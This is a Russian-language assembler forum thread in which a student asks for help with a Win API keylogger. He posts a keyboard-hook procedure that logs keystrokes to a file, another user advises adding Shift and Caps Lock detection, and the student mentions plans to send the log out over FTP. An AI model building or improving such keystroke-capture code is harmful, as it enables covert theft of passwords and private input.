Код символа в зависимости от Caps Lock и SHIFT

Тема в разделе "LANGS.C", создана пользователем TatkoV, 3 мар 2011.

  1. TatkoV

    TatkoV New Member

    Публикаций:
    0
    Регистрация:
    3 мар 2011
    Сообщения:
    16
    Добрый вечер. Я разрабатываю кейлоггер (использую ассемблер и Win Api ).
    Моя проблема заключается в том что Я записываю в файл нажатия всех символьных клавиш КРОМЕ клавиш нажатых с включённым Caps Lock и клавиш с нажатым SHIFT. Кто знает как мне решить эту проблему?
    Писать самому функцию обработки? Или использовать средства Win Api ?


    Могу выложить куски кода, которые у меня уже есть, если надо.
     
  2. Asterix

    Asterix New Member

    Публикаций:
    0
    Регистрация:
    25 фев 2003
    Сообщения:
    3.576
    Каким боком тема в WASM.LANG.C ?

    Читать классиков ноне не принято, Петцольда или Ицзелиона в конце концов ?
     
  3. TatkoV

    TatkoV New Member

    Публикаций:
    0
    Регистрация:
    3 мар 2011
    Сообщения:
    16
    Попала потому что мне главное идея как это сделать, пока-что Я к этому сам не додумался, есть одна идея - но это будет не оптимально. Вот и хотел бы спросить у людей мудрого совета.


    Ицзелиона - читал, но не нашёл того что мне надо.
     
  4. Asterix

    Asterix New Member

    Публикаций:
    0
    Регистрация:
    25 фев 2003
    Сообщения:
    3.576
    Покажи код или сам копай в сторону использования GetAsyncKeyState
     
  5. TatkoV

    TatkoV New Member

    Публикаций:
    0
    Регистрация:
    3 мар 2011
    Сообщения:
    16
    Код

    [modnote=TermoSINteZ]Не забываем использовать тег code[/modnote]
    Код (Text):
    1. TestFunction proc code:DWORD, wParam:WPARAM, lParam:LPARAM 
    2.     push ebp
    3.     mov ebp, esp
    4.     push ebx
    5.     push esi
    6.     push edi
    7.     mov  hhk, eax ; передаю хендл библиотеки через EAX
    8.     cmp code, 0
    9.     JL @m1
    10.  
    11. invoke  GetAsyncKeyState, lParam ;проверяю отпущена ли клавиша, что-бы не было повторов символов при записи в файл
    12.     and EAX,0000000Fh
    13.     cmp eax, 1
    14.     JNE @m1
    15. invoke  GetKeyboardLayoutName, addr pwszKLID
    16.  
    17. invoke  LoadKeyboardLayout, addr pwszKLID, KLF_SUBSTITUTE_OK
    18.     mov dwhkl, eax 
    19.  
    20.    
    21. invoke  GetKeyboardState, lpKeyState
    22.  
    23. invoke  ToAsciiEx,  lParam,  wParam, addr lpKeyState, addr lpChar, 1, dwhkl
    24.     mov eax, lpChar
    25.     mov Ui, al ;
    26.     mov eax, lParam
    27.     and eax, 000000FFh
    28.     cmp al, 0h ; делаю сравнения, что бы не писать в файл не нужную инфу, а именно управляющие символы
    29.     JE @m1
    30.     cmp al, 3h
    31.     JE @m1
    32.     cmp al, 9h
    33.     JE @m1
    34.     cmp al, 8h
    35.     JE @m1
    36.     cmp al, 0Dh
    37.     JE @m1
    38.     cmp al, 0Ah
    39.     JE @m1
    40.     cmp al, 10h
    41.     JE  @m1
    42.     cmp al, 11h
    43.     JE @m1
    44.     cmp al, 12h
    45.     JE @m1
    46.     cmp al, 23h
    47.     JE @m1
    48.  
    49.  
    50.  
    51.  
    52. invoke  CreateFile, addr CrkPrg, GENERIC_WRITE, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
    53.     mov hFile, eax
    54.  
    55. invoke  SetFilePointer, hFile, 0, NULL, FILE_END
    56.    
    57.  
    58.  
    59. invoke WriteFile, hFile, addr Ui, 1, addr lpNumberOfBytesWritten, NULL
    60.  
    61. invoke CloseHandle, hFile
    62.  
    63.  
    64.  
    65. @m1:
    66.  
    67. invoke  CallNextHookEx, hhk, code, wParam, lParam
    68.  
    69. invoke UnhookWindowsHookEx, hhk
    70.    
    71.     pop edi
    72.     pop esi
    73.     pop ebx
    74.     pop ebp
    75.        ret 12
    76. TestFunction endp
    при использовании данной функции записываються символы русского и английского языка, но только в нижнем регистре и и как говорил выше не определяет нажатия клавиш с SHIFTом и Caps Lock


    Капец, Я очень не уважный .
    Надо было написать вот так:
    invoke GetKeyboardState, addr lpKeyState
     
  6. TatkoV

    TatkoV New Member

    Публикаций:
    0
    Регистрация:
    3 мар 2011
    Сообщения:
    16
    Большое спасибо, Asterix за совет почитать Петцольда, тему можно закрыть.
     
  7. Asterix

    Asterix New Member

    Публикаций:
    0
    Регистрация:
    25 фев 2003
    Сообщения:
    3.576
    как-то не очень хорошо все организовано, сам подумай куда и как вставишь
    invoke GetAsyncKeyState, VK_SHIFT
    invoke GetAsyncKeyState, VK_CONTROL
    invoke GetAsyncKeyState, VK_MENU
    и проверку после вызова каждой функции

    типа
    invoke GetAsyncKeyState, VK_CONTROL
    test eax, 08000h ; 00000000000000001000000000000000b
    jnz @label
     
  8. Asterix

    Asterix New Member

    Публикаций:
    0
    Регистрация:
    25 фев 2003
    Сообщения:
    3.576
    вот еще примерчик
    http://www.go4expert.com/forums/showthread.php?t=2587
     
  9. TatkoV

    TatkoV New Member

    Публикаций:
    0
    Регистрация:
    3 мар 2011
    Сообщения:
    16
    Спасибо, Asterix, за совет и за ссылку, это Я тоже думал сделать, делаю всё поэтапно, от малого к большому, сейчас главное то что реализован перехват, потом можно будет дополнить код, на счёт проверки после вызова функций ты прав, надо сделать.

    На днях реализую передачу файла по FTP-протоколу, может ещё что-то подобное для самообучения.

    Я новичок ещё в Win API, мы сейчас изучаем ассемблер, пишем курсовую, сказали что можете выбрать свою тему, вот и решил попрактиковаться.